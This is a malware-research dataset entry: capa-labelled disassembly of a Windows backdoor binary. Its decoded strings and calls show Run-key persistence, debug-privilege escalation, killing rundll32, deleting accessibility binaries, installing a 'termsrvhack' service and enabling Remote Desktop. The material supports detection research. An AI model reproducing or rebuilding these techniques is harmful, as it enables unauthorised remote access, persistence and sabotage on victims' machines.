joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dd7b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov ecx, dword [0x49d6f4]
and byte [ebp - 3], 0
push 0
mov byte [ebp - 0x30], 0x53
push dword [ebp + 0xc]
mov byte [ebp - 0x2f], 0x4f
mov byte [ebp - 0x2e], 0x46
mov byte [ebp - 0x2d], 0x54
mov byte [ebp - 0x2c], 0x57
mov byte [ebp - 0x2b], 0x41
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x5c
mov byte [ebp - 0x27], 0x4d
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x66
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x57
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x64
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x77
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x5c
mov byte [ebp - 0x15], 0x43
mov byte [ebp - 0x14], 0x75
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x56
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x52
mov byte [ebp - 5], 0x75
mov byte [ebp - 4], 0x6e
call fcn.0040ab52
push eax
lea eax, [ebp - 0x30]
push dword [ebp + 0xc]
push 1
push 0x48b606
push eax
push reloc.WS2_32.dll_bind
call fcn.0040aeaa
add esp, 0x1c
xor eax, eax
leave
ret

Function at 0x40de69
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov ax, word [0x48b672]
push ebx
xor ebx, ebx
push esi
cmp ax, bx
push edi
je 0x40df53
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
movzx esi, ax
shl esi, 0xa
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x40df53
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x40df4a
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x40b]
mov byte [ebp - 0x40c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
jbe 0x40df4a
mov edi, 0x400
test word [ebp - 4], 0x3ff
jne 0x40df2c
mov dword [ebp + 8], ebx
mov ecx, dword [0x49d6f4]
call fcn.0040ac0d
add al, byte [ebp + 8]
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
mov eax, dword [ebp + 8]
inc dword [ebp + 8]
cmp dword [ebp + 8], edi
mov byte [ebp + eax - 0x40c], dl
jl 0x40df01
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x40c]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jb 0x40def6
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e726
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
and byte [ebp - 0x10], 0
and byte [ebp - 0x1d], 0
lea eax, [ebp - 0x30]
mov byte [ebp - 0x1c], 0x4b
push eax
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 0x1b], 0x45
mov byte [ebp - 0x1a], 0x52
mov byte [ebp - 0x19], 0x4e
mov byte [ebp - 0x18], 0x45
mov byte [ebp - 0x17], 0x4c
mov byte [ebp - 0x16], 0x33
mov byte [ebp - 0x15], 0x32
mov byte [ebp - 0x14], 0x2e
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x30], 0x47
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x53
mov byte [ebp - 0x2c], 0x79
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x6d
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x79
mov byte [ebp - 0x1e], 0x41
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x134]
push 0x104
push ecx
call eax
and byte [ebp - 1], 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x134]
push eax
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call fcn.0040df58
leave
ret

Function at 0x40e82b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea ecx, [ebp - 4]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40e8ce
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x28]
xor ebx, ebx
push eax
push ebx
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x62
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x67
mov byte [ebp - 0x21], 0x50
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], bl
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x40e8c4
push ebx
push ebx
lea eax, [ebp - 0x14]
push ebx
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop ebx
leave
ret
Function at 0x40e9c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x560
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x55f]
mov byte [ebp - 0x560], bl
rep stosd dword es:[edi], eax
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x4c]
mov byte [ebp - 0x4c], 0x53
push eax
lea eax, [ebp - 0x560]
push eax
mov byte [ebp - 0x4b], 0x59
mov byte [ebp - 0x4a], 0x53
mov byte [ebp - 0x49], 0x54
mov byte [ebp - 0x48], 0x45
mov byte [ebp - 0x47], 0x4d
mov byte [ebp - 0x46], 0x5c
mov byte [ebp - 0x45], 0x43
mov byte [ebp - 0x44], 0x75
mov byte [ebp - 0x43], 0x72
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0x6e
mov byte [ebp - 0x3f], 0x74
mov byte [ebp - 0x3e], 0x43
mov byte [ebp - 0x3d], 0x6f
mov byte [ebp - 0x3c], 0x6e
mov byte [ebp - 0x3b], 0x74
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x6f
mov byte [ebp - 0x38], 0x6c
mov byte [ebp - 0x37], 0x53
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x74
mov byte [ebp - 0x34], 0x5c
mov byte [ebp - 0x33], 0x53
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x72
mov byte [ebp - 0x30], 0x76
mov byte [ebp - 0x2f], 0x69
mov byte [ebp - 0x2e], 0x63
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x73
mov byte [ebp - 0x2b], 0x5c
mov byte [ebp - 0x2a], 0x25
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], bl
call esi
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x15f]
mov byte [ebp - 0x160], bl
mov byte [ebp - 0x24], 0x25
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x23], 0x34
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x2d
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x1f], 0x2e
mov byte [ebp - 0x1e], 0x32
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x2d
mov byte [ebp - 0x1b], 0x25
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x20
movzx eax, word [ebp - 0x52]
push eax
mov byte [ebp - 0x16], 0x25
movzx eax, word [ebp - 0x54]
push eax
mov byte [ebp - 0x15], 0x2e
movzx eax, word [ebp - 0x56]
push eax
mov byte [ebp - 0x14], 0x32
movzx eax, word [ebp - 0x5a]
push eax
mov byte [ebp - 0x13], 0x64
movzx eax, word [ebp - 0x5c]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x160]
push eax
mov byte [ebp - 0x12], 0x3a
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x32
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0xd], bl
call esi
add esp, 0x1c
lea eax, [ebp - 0x160]
mov byte [ebp - 0xc], 0x4d
mov byte [ebp - 0xb], 0x61
push ebx
push eax
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x54
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x560]
push eax
push reloc.WS2_32.dll_bind
call fcn.0040aeaa
add esp, 0x1c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40eea6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov ecx, dword [0x49d6f4]
and byte [ebp - 3], 0
lea eax, [ebp - 0xc]
push 0xa
push eax
lea eax, [ebp - 0x10c]
push eax
mov byte [ebp - 0xc], 0x4d
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x68
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x33
mov byte [ebp - 5], 0x36
mov byte [ebp - 4], 0x30
call fcn.0040ac8f
movzx eax, word [ebp + 0xc]
mov ecx, dword [0x49d6f4]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push eax
call fcn.0040ad11
leave
ret

Function at 0x40ef2f
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.userenv.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.CreateEnvironmentBlock
push eax
mov dword [ebp - 0x14], eax
call ebx
mov dword [ebp - 0x18], eax
xor esi, esi
push 0x44
lea eax, [ebp - 0x6c]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x28]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x64], str.WinSta0Default
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 4]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call edi
push eax
call ebx
cmp eax, esi
je 0x40f033
call eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 4
push eax
push 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push esi
lea eax, [ebp - 0x10]
push dword [ebp - 4]
push eax
call dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x10]
push 0x430
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, dword [ebp - 0x28]
call edi
push dword [ebp - 8]
call edi
jmp 0x40f035
xor ebx, ebx
cmp dword [ebp - 0x14], esi
je 0x40f043
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x40f04a
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x598
lea eax, [ebp - 0x94]
push esi
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [ebp - 0x84], 2
mov esi, 0x49d6f8
jne 0x40f0dc
cmp dword [ebp - 0x90], 6
jae 0x40f099
cmp dword [0x48b674], 0
je 0x40f092
push esi
call fcn.0040e8d0
pop ecx
call fcn.0040ebdd
jmp 0x40f0dc
lea eax, [ebp - 0x198]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x598]
push str._s_Win7
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x598]
push eax
call fcn.0040ef2f
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [0x48b674], 0
je 0x40f0ec
push esi
call fcn.0040e8d0
pop ecx
pop esi
leave
ret

Function at 0x40f0f4
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
call fcn.0041354a
test eax, eax
pop ecx
je 0x40f1c0
and byte [ebp - 0x14], 0
lea eax, [ebp - 0x30]
push 0
push eax
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x6b
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x20
mov byte [ebp - 0x27], 0x2f
mov byte [ebp - 0x26], 0x66
mov byte [ebp - 0x25], 0x20
mov byte [ebp - 0x24], 0x2f
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6d
mov byte [ebp - 0x21], 0x20
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x75
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x78
mov byte [ebp - 0x15], 0x65
call dword [sym.imp.KERNEL32.DLL_WinExec]
leave
ret
Function at 0x40fbb2
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x71c
push ebx
push esi
push edi
push 0x40
pop edx
xor bl, bl
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x30b]
mov byte [ebp - 0x30c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x513]
mov byte [ebp - 0x514], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x71b]
mov byte [ebp - 0x71c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x617]
mov byte [ebp - 0x618], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x40f]
mov byte [ebp - 0x410], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x30c]
push str._s_sethc.exe
push eax
call esi
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x514]
push str._sosk.exe
push eax
call esi
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x71c]
push str._smagnify.exe
push eax
call esi
lea eax, [ebp - 0x104]
push eax
push str._sdllcache_sethc.exe
lea eax, [ebp - 0x618]
push eax
call esi
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x410]
push str._sdllcacheosk.exe
push eax
call esi
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str._sdllcachemagnify.exe
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 0x48
push 4
pop ebx
lea eax, [ebp - 0x618]
push eax
call esi
lea eax, [ebp - 0x410]
push eax
call esi
lea eax, [ebp - 0x208]
push eax
call esi
push 0x32
call edi
lea eax, [ebp - 0x30c]
push eax
call esi
lea eax, [ebp - 0x514]
push eax
call esi
lea eax, [ebp - 0x71c]
push eax
call esi
push 0x4e20
call edi
dec ebx
jne 0x40fcfe
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40fd6b
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x9c
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [ebp - 0x98], 5
jne 0x40fd9f
push 1
pop eax
cmp dword [ebp - 0x94], eax
je 0x40fda1
xor eax, eax
leave
ret
Function at 0x40fda3
Capabilities:
Start service

Disassembly:
push ebx
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x40fde7
push esi
push edi
push 0x10010
push dword [esp + 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x40fde2
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call edi
push ebx
call edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x40fdeb
Capabilities:
Copy file
Get common file path
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push edi
xor edi, edi
mov esi, reloc.WS2_32.dll_bind
push edi
push 2
push edi
push 4
push str.Start
push str.SYSTEMCurrentControlSetServicesPzOdfv
mov dword [ebp - 4], ecx
push esi
call fcn.0040aeaa
push edi
push edi
push 0x48ad80
push 1
push str.KeepRASConnections
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push esi
call fcn.0040aeaa
push edi
push edi
push edi
push 4
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push esi
call fcn.0040aeaa
add esp, 0x54
push edi
push 1
push edi
push 4
push str.EnableConcurrentSessions
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push esi
call fcn.0040aeaa
mov ecx, dword [ebp - 4]
add esp, 0x1c
call fcn.0040fd6b
test eax, eax
je 0x40ff2d
push ebx
push edi
push edi
push str._SystemRoot__system32_termsrvhack.dll
push 2
push str.ServiceDll
push str.SYSTEMCurrentControlSetServicesPzOdfvParameters
push esi
call fcn.0040aeaa
mov esi, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
add esp, 0x1c
mov ebx, 0x104
lea eax, [ebp - 0x108]
push ebx
push eax
call esi
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x108]
push str._termsrvhack.dll
push eax
call esi
lea eax, [ebp - 0x20c]
push str.dllcache_termsrvhack.dll
push eax
call esi
lea eax, [ebp - 0x108]
push 0x48bbbc
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push esi
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x1c
lea eax, [ebp - 0x20c]
push edi
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x108]
push 7
push eax
call esi
lea eax, [ebp - 0x20c]
push 7
push eax
call esi
pop ebx
mov ecx, dword [ebp - 4]
push str.PzOdfv
call fcn.0040fda3
pop edi
xor eax, eax
pop esi
leave
ret 8
Function at 0x410320
Capabilities:
Delete user account

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
and word [ebp - 0x200], 0
push esi
push edi
mov esi, ecx
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x1fe]
rep stosd dword es:[edi], eax
push 0x100
push dword [ebp + 8]
stosw word es:[edi], ax
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.MSVCRT.dll_mbstowcs]
add esp, 0xc
lea eax, [ebp - 0x200]
push eax
push 0
call sub.NETAPI32.dll_NetUserDel
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, esi
call fcn.0040ff6b
pop edi
pop esi
leave
ret 8

Function at 0x41037f
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
lea eax, [ebp - 0x34]
push dword [ebp + 8]
mov esi, ecx
push str.TSDISCON__s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x34]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, esi
call fcn.0040ff94
pop esi
leave
ret 8

Function at 0x4103bd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
lea eax, [ebp - 0x34]
push dword [ebp + 8]
mov esi, ecx
push str.LOGOFF__s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x34]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, esi
call fcn.0040ff94
pop esi
leave
ret 8

Function at 0x410478
Capabilities:
List groups for user account

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
push ebx
push esi
push edi
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x316]
mov word [ebp - 0x318], si
rep stosd dword es:[edi], eax
and byte [ebp - 0x110], 0
push 0x40
stosw word es:[edi], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
push 0x100
rep stosd dword es:[edi], eax
push dword [ebp + 8]
mov dword [ebp - 8], esi
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x318]
mov dword [ebp - 4], esi
push eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.MSVCRT.dll_mbstowcs]
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push 0xffffffffffffffff
push eax
push 1
lea eax, [ebp - 0x318]
push esi
push eax
push esi
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x410570
mov ebx, dword [ebp - 8]
cmp ebx, esi
je 0x410570
cmp dword [ebp - 4], esi
mov dword [ebp + 8], esi
jbe 0x410570
mov edi, dword [ebp + 0xc]
jmp 0x41050e
xor esi, esi
cmp ebx, esi
je 0x410570
push dword [ebx]
lea eax, [ebp - 0x110]
push 0x48bdd4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
call sub.MSVCRT.dll_strlen
mov esi, eax
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x14
mov dword [ebp + 0xc], eax
test esi, esi
je 0x410549
mov byte [esi + edi], 0x2f
inc esi
xor ecx, ecx
test eax, eax
jle 0x410562
lea edx, [esi + edi]
mov al, byte [ebp + ecx - 0x110]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [ebp + 0xc]
jl 0x410552
add ebx, 4
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x41050c
pop edi
pop esi
pop ebx
leave
ret